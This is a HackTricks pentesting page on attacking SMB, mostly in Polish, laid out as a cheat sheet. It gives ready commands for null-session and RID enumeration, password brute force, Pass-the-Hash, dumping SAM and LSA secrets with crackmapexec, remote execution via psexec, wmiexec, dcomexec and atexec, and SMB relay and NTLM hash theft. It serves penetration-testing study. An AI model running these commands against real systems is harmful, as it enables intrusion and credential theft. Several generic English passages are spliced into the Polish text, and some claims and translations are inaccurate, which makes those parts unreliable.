36 KiB
139,445 - Testowanie penetracyjne SMB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Port 139
Network Basic Input Output System (NetBIOS) to protokół oprogramowania zaprojektowany do umożliwienia aplikacjom, komputerom i pulpitom w ramach lokalnej sieci LAN interakcji z sprzętem sieciowym i ułatwienia transmisji danych w sieci. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS są osiągane za pomocą ich nazw NetBIOS, które mogą mieć maksymalnie 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołaj" inną aplikację (działającą jako serwer), korzystając z Portu TCP 139.
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
Port 445
Technicznie rzecz biorąc, Port 139 jest określany jako 'NBT over IP', podczas gdy Port 445 jest identyfikowany jako 'SMB over IP'. Skrót SMB oznacza 'Server Message Blocks', który jest również znany jako Common Internet File System (CIFS). Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest głównie wykorzystywany do udostępniania wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwiania różnych form komunikacji między węzłami w sieci.
Na przykład, w kontekście systemu Windows, zaznacza się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność korzystania z NetBIOS nad TCP/IP, poprzez wykorzystanie portu 445. Natomiast na innych systemach obserwuje się użycie portu 139, co wskazuje na wykonanie SMB w połączeniu z NetBIOS nad TCP/IP.
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Protokół Server Message Block (SMB), działający w modelu klient-serwer, został zaprojektowany do regulowania dostępu do plików, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych Windows, SMB zapewnia kompatybilność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi, które działają na starszych wersjach. Dodatkowo, projekt Samba oferuje bezpłatne oprogramowanie, umożliwiające implementację SMB na systemach Linux i Unix, ułatwiając tym samym komunikację międzyplatformową za pomocą SMB.
Udziały, reprezentujące dowolne części lokalnego systemu plików, mogą być udostępniane przez serwer SMB, co sprawia, że hierarchia jest widoczna dla klienta częściowo niezależnie od rzeczywistej struktury serwera. Listy kontroli dostępu (ACL), które definiują prawa dostępu, umożliwiają dokładną kontrolę nad uprawnieniami użytkowników, w tym atrybutami takimi jak execute
, read
i full access
. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, na podstawie udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
Udział IPC$
Dostęp do udziału IPC$ można uzyskać za pomocą anonimowej sesji null, umożliwiając interakcję z usługami udostępnianymi za pomocą nazwanych potoków. Narzędzie enum4linux
jest przydatne w tym celu. Poprawnie wykorzystane, umożliwia zdobycie:
- Informacji o systemie operacyjnym
- Szczegółów dotyczących domeny nadrzędnej
- Kompilacji lokalnych użytkowników i grup
- Informacji o dostępnych udziałach SMB
- Efektywnej polityki bezpieczeństwa systemu
Ta funkcjonalność jest kluczowa dla administratorów sieci i profesjonalistów ds. bezpieczeństwa w celu oceny stanu bezpieczeństwa usług SMB (Server Message Block) w sieci. enum4linux
zapewnia wszechstronne spojrzenie na środowisko SMB systemu docelowego, co jest niezbędne do identyfikacji potencjalnych podatności i zapewnienia odpowiedniego zabezpieczenia usług SMB.
enum4linux -a target_ip
Powyższa komenda jest przykładem, jak można użyć enum4linux
do przeprowadzenia pełnej enumeracji na celu określonym przez target_ip
.
Co to jest NTLM
Jeśli nie wiesz, czym jest NTLM lub chcesz dowiedzieć się, jak działa i jak go wykorzystać, z pewnością zainteresuje Cię ta strona na temat NTLM, gdzie wyjaśniono, jak działa ten protokół i jak można z niego skorzystać:
{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}
Enumeracja serwera
Skanowanie sieci w poszukiwaniu hostów:
nbtscan -r 192.168.0.1/24
Wersja serwera SMB
Aby szukać możliwych podatności w wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, można:
- Użyć modułu pomocniczego MSF _auxiliary/scanner/smb/smb_version
- Lub ten skrypt:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
Wyszukiwanie eksploitów
To find exploits for a specific vulnerability, you can use various online resources such as exploit databases, security forums, and vulnerability databases. These resources provide a collection of known exploits that can be used to exploit specific vulnerabilities in target systems.
To search for exploits, you can use search engines like Google or specialized search tools like searchsploit. By using specific search queries, you can narrow down your search and find relevant exploits.
When searching for exploits, it is important to consider the version of the software or service you are targeting. Exploits are often specific to certain versions, so make sure to include the version number in your search query.
Remember that using exploits without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before attempting to use any exploits.
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
Możliwe dane uwierzytelniające
Nazwa użytkownika | Powszechne hasła |
---|---|
(puste) | (puste) |
gość | (puste) |
Administrator, admin | (puste), hasło, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | hasło, test, lab, demo |
Atak siłowy
Informacje o środowisku SMB
Uzyskanie informacji
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
Wyliczanie użytkowników, grup i zalogowanych użytkowników
Te informacje powinny być już zbierane za pomocą narzędzi enum4linux i enum4linux-ng.
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
Wyliczanie lokalnych użytkowników
lookupsid.py -no-pass hostname.local
Pentesting SMB
SMB (Server Message Block) is a network protocol used for file sharing, printer sharing, and communication between devices in a network. It is commonly used in Windows operating systems.
SMB Enumeration
SMB enumeration is the process of gathering information about SMB shares, users, and groups on a target system. This information can be used to identify potential vulnerabilities and misconfigurations.
To enumerate SMB shares, you can use tools like smbclient
, smbmap
, or enum4linux
. These tools allow you to connect to an SMB server and list the available shares.
To enumerate users and groups, you can use tools like rpcclient
or enum4linux
. These tools allow you to query the SMB server for information about users and groups.
SMB Exploitation
Once you have identified potential vulnerabilities or misconfigurations, you can proceed with SMB exploitation. There are several techniques that can be used to exploit SMB, including:
-
Brute forcing: This involves attempting to guess the username and password for an SMB share. Tools like
hydra
ormedusa
can be used for this purpose. -
SMB relay: This technique involves intercepting SMB traffic and relaying it to another target. This can be used to gain unauthorized access to a target system. Tools like
Responder
orntlmrelayx
can be used for SMB relay attacks. -
SMB signing downgrade: This technique involves downgrading the SMB signing level to allow for the interception and modification of SMB traffic. Tools like
impacket
can be used for this purpose. -
SMB command injection: This technique involves injecting malicious commands into an SMB request to execute arbitrary code on a target system. This can be used to gain remote code execution. Tools like
Metasploit
orEmpire
can be used for SMB command injection.
SMB Post-Exploitation
Once you have successfully exploited an SMB vulnerability, you can proceed with post-exploitation activities. These activities may include:
-
Privilege escalation: This involves escalating your privileges on the target system to gain higher levels of access. Techniques like
token impersonation
orexploiting weak service permissions
can be used for privilege escalation. -
Data exfiltration: This involves stealing sensitive data from the target system. Tools like
smbclient
orcopy
command can be used to copy files from the target system to your local machine. -
Persistence: This involves maintaining access to the target system even after a reboot or system update. Techniques like
creating a backdoor user
ormodifying startup scripts
can be used for persistence. -
Lateral movement: This involves moving laterally within the network to gain access to other systems. Techniques like
pass-the-hash
orpass-the-ticket
can be used for lateral movement.
SMB Security Best Practices
To secure SMB services, it is recommended to follow these best practices:
-
Disable SMBv1: SMBv1 is an outdated and insecure version of the SMB protocol. It is recommended to disable SMBv1 and use newer versions like SMBv2 or SMBv3.
-
Enable SMB signing: SMB signing helps to ensure the integrity and authenticity of SMB traffic. It is recommended to enable SMB signing to prevent tampering and unauthorized access.
-
Use strong authentication: It is recommended to use strong authentication mechanisms like NTLMv2 or Kerberos for SMB authentication.
-
Implement access controls: It is recommended to implement proper access controls to restrict access to SMB shares and resources.
-
Regularly update and patch: It is important to regularly update and patch SMB servers to protect against known vulnerabilities.
-
Monitor SMB traffic: Monitoring SMB traffic can help to detect and prevent unauthorized access and suspicious activities.
-
Disable guest access: It is recommended to disable guest access to prevent unauthorized access to SMB shares.
-
Encrypt SMB traffic: Encrypting SMB traffic using protocols like SMB over SSL/TLS (SMB3 encryption) can help to protect sensitive data from eavesdropping.
-
Implement network segmentation: Implementing network segmentation can help to isolate SMB services from other critical systems and reduce the impact of a potential compromise.
-
Regularly backup data: Regularly backing up data can help to recover from a potential ransomware attack or data loss.
-
Educate users: It is important to educate users about the risks associated with SMB and the importance of following security best practices.
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Metasploit - Wyliczanie lokalnych użytkowników
Metasploit to potężne narzędzie do testowania penetracyjnego, które można wykorzystać do wyliczania lokalnych użytkowników w systemie. Poniżej przedstawiono kroki, które należy podjąć, aby to osiągnąć:
-
Uruchom Metasploit Framework, wpisując polecenie
msfconsole
w terminalu. -
Wybierz odpowiedni moduł do wyliczania lokalnych użytkowników, wpisując polecenie
use windows/smb_enumusers
. -
Skonfiguruj wymagane opcje, takie jak
RHOSTS
(adres IP docelowego systemu) iRPORT
(port SMB). Możesz to zrobić, wpisując polecenieset RHOSTS <adres_IP>
iset RPORT <port>
. -
Uruchom moduł, wpisując polecenie
run
.
Metasploit przeprowadzi teraz skanowanie systemu w poszukiwaniu lokalnych użytkowników. Wyniki zostaną wyświetlone na ekranie, zawierając informacje takie jak nazwa użytkownika, SID (Security Identifier) i grupy, do których należy użytkownik.
To narzędzie jest niezwykle przydatne podczas testowania penetracyjnego, ponieważ umożliwia identyfikację potencjalnych luk w zabezpieczeniach systemu. Pamiętaj jednak, że wykorzystywanie Metasploit do celów nielegalnych lub bez zgody właściciela systemu jest nielegalne i nieetyczne.
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
Wyliczanie LSARPC i SAMR rpcclient
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}
Połączenie GUI z systemem Linux
W terminalu:
xdg-open smb://cascade.htb/
W oknie przeglądarki plików (nautilus, thunar, itp.)
smb://friendzone.htb/general/
Wyliczanie udostępnionych folderów
Wyświetlanie udostępnionych folderów
Zawsze zaleca się sprawdzenie, czy można uzyskać dostęp do czegokolwiek. Jeśli nie masz poświadczeń, spróbuj użyć pustych poświadczeń/użytkownika gościa.
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
To connect to a shared folder on a remote machine, you can use the smbclient
tool. This tool allows you to interact with SMB (Server Message Block) shares.
To connect to a shared folder, use the following command:
smbclient //<IP_ADDRESS>/<SHARE_NAME> -U <USERNAME>
Replace <IP_ADDRESS>
with the IP address of the remote machine and <SHARE_NAME>
with the name of the shared folder you want to connect to. Additionally, replace <USERNAME>
with a valid username on the remote machine.
Once connected, you can use various commands to interact with the shared folder. For example, you can use the ls
command to list the contents of the shared folder:
ls
This will display a list of files and directories in the shared folder.
Remember to provide valid credentials (username and password) when prompted to authenticate with the remote machine.
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
Ręczne wyliczanie udziałów systemu Windows i łączenie się z nimi
Może się zdarzyć, że masz ograniczone uprawnienia do wyświetlania udziałów na maszynie docelowej i gdy próbujesz je wymienić, wydaje się, że nie ma żadnych udziałów, do których można się podłączyć. Warto w takim przypadku spróbować ręcznie połączyć się z udziałem. Aby ręcznie wyliczyć udziały, warto szukać odpowiedzi takich jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, gdy używasz ważnej sesji (np. pustej sesji lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Wspólne nazwy udziałów dla celów systemów Windows to:
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Wspólne nazwy udziałów z książki Network Security Assessment 3rd edition)
Możesz spróbować połączyć się z nimi, używając następującej komendy:
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
lub ten skrypt (korzystający z sesji null)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
Przykłady
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Wyliczanie udziałów z systemu Windows / bez użycia narzędzi innych firm
PowerShell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
Konsola CMD
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
MMC Snap-in (graficzny)
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
explorer.exe (graficzny), wpisz \\<ip>\
, aby zobaczyć dostępne nieukryte udziały.
Zamontuj udostępniony folder
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
Pobieranie plików
Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się za pomocą poświadczeń/Pass-the-Hash.
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
Polecenia:
- mask: określa maskę, która jest używana do filtrowania plików w katalogu (np. "" dla wszystkich plików)
- recurse: przełącza rekursję (domyślnie: wyłączone)
- prompt: wyłącza pytanie o nazwy plików (domyślnie: włączone)
- mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta
(Informacje z manpage smbclient)
Wyszukiwanie udostępnionych folderów domenowych
- Snaffler****
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExec - pająk.
-M spider_plus [--share <nazwa_udziału>]
--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
Szczególnie interesujące są pliki o nazwie Registry.xml
, ponieważ mogą zawierać hasła dla użytkowników skonfigurowanych z autologonem za pomocą Group Policy. Lub pliki web.config
, ponieważ zawierają poświadczenia.
{% hint style="info" %}
Udział SYSVOL jest odczytywalny przez wszystkich uwierzytelnionych użytkowników w domenie. W nim możesz znaleźć wiele różnych skryptów wsadowych, VBScript i PowerShell.
Powinieneś sprawdzić skrypty wewnątrz, ponieważ możesz znaleźć wrażliwe informacje, takie jak hasła.
{% endhint %}
Odczytaj rejestr
Możesz próbować odczytać rejestr za pomocą odkrytych poświadczeń. Narzędzie Impacket reg.py
pozwala na to:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
Post Eksploatacja
Domyślna konfiguracja serwera Samba zazwyczaj znajduje się w /etc/samba/smb.conf
i może zawierać niebezpieczne ustawienia:
Ustawienie | Opis |
---|---|
browseable = yes |
Czy można wyświetlać dostępne udziały w bieżącym udziale? |
read only = no |
Czy zabronić tworzenia i modyfikowania plików? |
writable = yes |
Czy zezwolić użytkownikom na tworzenie i modyfikowanie plików? |
guest ok = yes |
Czy zezwolić na połączenie z usługą bez użycia hasła? |
enable privileges = yes |
Czy uwzględnić przywileje przypisane do określonego SID? |
create mask = 0777 |
Jakie uprawnienia mają być przypisane do nowo utworzonych plików? |
directory mask = 0777 |
Jakie uprawnienia mają być przypisane do nowo utworzonych katalogów? |
logon script = script.sh |
Jaki skrypt ma być uruchomiony podczas logowania użytkownika? |
magic script = script.sh |
Jaki skrypt powinien być uruchomiony po zamknięciu skryptu? |
magic output = script.out |
Gdzie należy przechowywać wynik magicznego skryptu? |
Polecenie smbstatus
dostarcza informacji o serwerze i o podłączonych użytkownikach.
Uwierzytelnianie za pomocą Kerberos
Możesz uwierzytelnić się do Kerberosa za pomocą narzędzi smbclient i rpcclient:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
Wykonuj polecenia
crackmapexec
crackmapexec może wykonywać polecenia, wykorzystując dowolną z metod mmcexec, smbexec, atexec, wmiexec, przy czym domyślną metodą jest wmiexec. Możesz wskazać, którą opcję chcesz użyć za pomocą parametru --exec-method
:
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
Obie opcje tworzą nową usługę (korzystając z \pipe\svcctl przez SMB) na maszynie ofiary i używają jej do wykonania czegoś (psexec wysyła plik wykonywalny do udziału ADMIN$ i smbexec wskazuje na cmd.exe/powershell.exe i umieszcza w argumentach ładunek --technika bez pliku--).
Więcej informacji na temat psexec i smbexec.
W kali znajduje się w /usr/share/doc/python3-impacket/examples/.
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
Za pomocą parametru -k
można uwierzytelnić się za pomocą kerberosa zamiast NTLM.
wmiexec/dcomexec
Wykonaj polecenie powłoki bez dotykania dysku ani uruchamiania nowej usługi za pomocą DCOM przez port 135.
W kali znajduje się w lokalizacji /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Za pomocą parametru -k
możesz uwierzytelnić się za pomocą kerberosa zamiast NTLM.
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
Wykonaj polecenia za pomocą Harmonogramu zadań (używając \pipe\atsvc przez SMB).
W kali znajduje się w lokalizacji /usr/share/doc/python3-impacket/examples/
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Odwołanie do Impacket
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
Próba złamania danych uwierzytelniających użytkowników
Nie jest to zalecane, możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
Atak SMB Relay
Ten atak wykorzystuje narzędzie Responder do przechwytywania sesji uwierzytelniania SMB w sieci wewnętrznej i przekazywania ich do maszyny docelowej. Jeśli sesja uwierzytelniania zakończy się sukcesem, automatycznie zostaniesz przeniesiony do powłoki systemowej.
Więcej informacji na temat tego ataku tutaj.
SMB-Trap
Biblioteka systemu Windows URLMon.dll automatycznie próbuje uwierzytelnić się wobec hosta, gdy strona próbuje uzyskać dostęp do pewnej zawartości za pomocą SMB, na przykład: img src="\\10.10.10.10\path\image.jpg"
Dzieje się tak za pomocą funkcji:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
SMBTrap przy użyciu MitMf
Kradzież NTLM
Podobnie jak w przypadku SMB Trapping, umieszczenie złośliwych plików na systemie docelowym (za pomocą SMB, na przykład) może spowodować próbę uwierzytelnienia SMB, co umożliwia przechwycenie skrótu NetNTLMv2 za pomocą narzędzia takiego jak Responder. Skrót można następnie złamać offline lub użyć w atakach SMB Relay.
Automatyczne polecenia HackTricks
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.